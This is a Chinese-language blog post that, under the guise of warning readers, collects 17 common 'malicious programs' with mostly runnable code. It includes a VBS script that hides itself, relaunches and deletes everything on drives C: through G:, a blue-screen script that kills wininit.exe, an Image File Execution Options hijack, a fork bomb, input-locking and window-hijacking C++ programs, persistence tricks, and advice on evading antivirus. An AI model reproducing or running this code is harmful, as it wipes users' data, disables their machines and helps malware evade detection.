CPP中的惡意程序

這裏有幾個常用的惡意程序,如果有人發這些代碼,請不要輕信。
小編經過3 天的查閱資料,整理出以下17 點常見惡意程序


目錄:


1.關機

關鍵代碼:shutdowns (後加其他內容,如ft0 之類的。)


2.藍屏

針對不好機子的BAT 代碼:%0|%0或%0||(%0|%0)||%0之類的。
通用的VBS 代碼:

On Error Resume Next
sub killtsk(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase(ProcessName) then
ps.terminate
end if
next
end sub
set ws=Wscript.createobject("wscript.shell")
ws.run "taskmgr.exe",0
killtsk("wininit.exe")

3.註冊表操作/文件夾操作實現開機自啓動

winXP :警惕涉及:
C:\Documents and Settings\<用戶名字>\「開始」菜單\程序\啓動 文件夾操作的程序。

win7 警惕涉及:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup文件夾操作的程序。

警惕凡出現:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run及類似含“Run”註冊表路徑的程序。


4.隱藏桌面、任務欄、運行窗口

關鍵C++代碼:

inline void hide(){
    HWND hwnd=GetForegroundWindow(),
    hTaskBar=FindWindow("Shell_TrayWnd",NULL),
    hDeskIcon=FindWindow("Progman",NULL),
    hwndDesk=GetDesktopWindow();
    ShowWindow(hwnd,false);
    ShowWindow(hTaskBar,SW_SHOW);
    ShowWindow(hDeskIcon,SW_SHOW);
}

5.刪除或感染

此類操作一般爲修改文件。
這是一個大量刪除文件並自我複製,彈出無限錯誤窗口卡死機的VBS 腳本:

On Error Resume Next
Sub fdel(sPath)    
    Set oFso = CreateObject("Scripting.FileSystemObject") 
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders
    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        oFile.Delete  
    Next
    For Each oSubFolder In oSubFolders  
        oSubFolder.Delete
    Next 
    Set oFolder = Nothing    
    Set oSubFolders = Nothing    
    Set oFso = Nothing    
End Sub
set ws=Wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject") 
set file=fso.getfile(wscript.scriptfullname)
path=file.path
file.attributes=1+2+4
ws.run path,0
msgbox "錯誤代碼:0x10a2d5",16,"系統警告"
fdel("G:\")
fdel("F:\")
fdel("E:\")
fdel("D:\")
fdel("C:\")

6.添加任務計劃以實現定時啓動

關鍵BAT 代碼:
at 時間 /every:日期 一些BAT 代碼


7.逃殺

試圖生成文本文件寫入代碼並在運行時才以參數傳入以避免殺毒軟件查殺,或者加密成亂碼也有一定的逃殺效果。遇到此類文件,必須檢查文本文件的內容。有時編寫者可能同時使用兩種方法,使得文本文件爲亂碼。遇到這一類的程序,請勿隨便運行。


8.修改文件關聯

關鍵BAT 代碼:assoc.後綴名=指定的文件關聯

這可能會破壞文件,或者增加惡意程序被打開的機率(即將其他文件的關聯指向自身)。


9.映像劫持

此類惡意程序風險極高,可以認爲是強行修改文件關聯
關鍵C++代碼:

#include <windows.h>
int main(){
    char buffer[] = "cmd.exe";
    HKEY hKey;
    DWORD dwDisposition;
    LPCTSTR SetData = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe";
    RegCreateKeyEx(HKEY_LOCAL_MACHINE,SetData,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);
    RegSetValueEx(hKey,"Debugger",NULL,REG_SZ,LPBYTE(buffer),sizeof(buffer));
    RegCloseKey(hKey);
    return 0;
}

10.無限內存泄漏

我同學親測,2s內立即黑屏死機(不同系統會有不同效果)。

int main(){
    while(true)char ch=new char;
    return 0;
}

11.無限移動鼠標

(參考了@Chthology dalao 和我同學的程序)
關鍵代碼:

#include <windows.h>
GetCursorPos(&p);  
SetCursorPos(p.x,p.y+3);   
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);

12.鎖定鼠標鍵盤

(來自@Chthology dalao)
關鍵代碼:

#include <windows.h>
#include <Winable.h>
int main(){
    FreeConsole();
    while(true)
        BlockInput(true);
    return 0;
}

13.fork炸彈

(來自@Chthology dalao)

關鍵代碼:

int main(){
    while(1)system(":(){ :|:& };:");
    return 0;
}

14.窗口瘋狂移動

(來自@Chthology dalao)

關鍵代碼:

#include <windows.h>
#include <math.h>

DWORD WINAPI moveit(){
    HWND a=GetForegroundWindow();
    int i,j,k=1;
    while(k++){
        i=200+300*cos(k);
        j=150+300*sin(k);
        MoveWindow(a,i,j,i,j,1);
        Sleep(50);
    }
}

int main(){
    DWORD dwThreadId;
    HWND last=GetForegroundWindow();
    ShowWindow(last, SW_HIDE);
    while(1){
        if(last!=GetForegroundWindow()){
            last=GetForegroundWindow();
            CreateThread(NULL, 0, moveit, &last, 0, &dwThreadId);
        }
    }
    return 0;
}

15.無限窗口

int main(){
    while(1)
        system("start cmd");
    return 0;
}

16.編譯卡死

#include "con"

17.胡亂點擊

(來自@Chthology dalao)

//Java Source
// Developer: Minhas Kamal
// Randomly moves the mouse pointer, & clicks different places on the screen.

import java.awt.Robot;
import java.awt.event.InputEvent;
import java.util.Random;

public class out_of_control {
    public static void main(String[] args) throws Exception {
        Robot robot = new Robot();
        Random random = new Random();
        while(true){
            robot.mouseMove(random.nextInt(1200), random.nextInt(700));
            click(robot);
            Thread.sleep(300);
        }
    }

    private static void click(Robot robot){
        robot.mousePress(InputEvent.BUTTON1_MASK);robot.mouseRelease(InputEvent.BUTTON1_MASK);
        robot.mousePress(InputEvent.BUTTON1_MASK);robot.mouseRelease(InputEvent.BUTTON1_MASK);
    }
}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章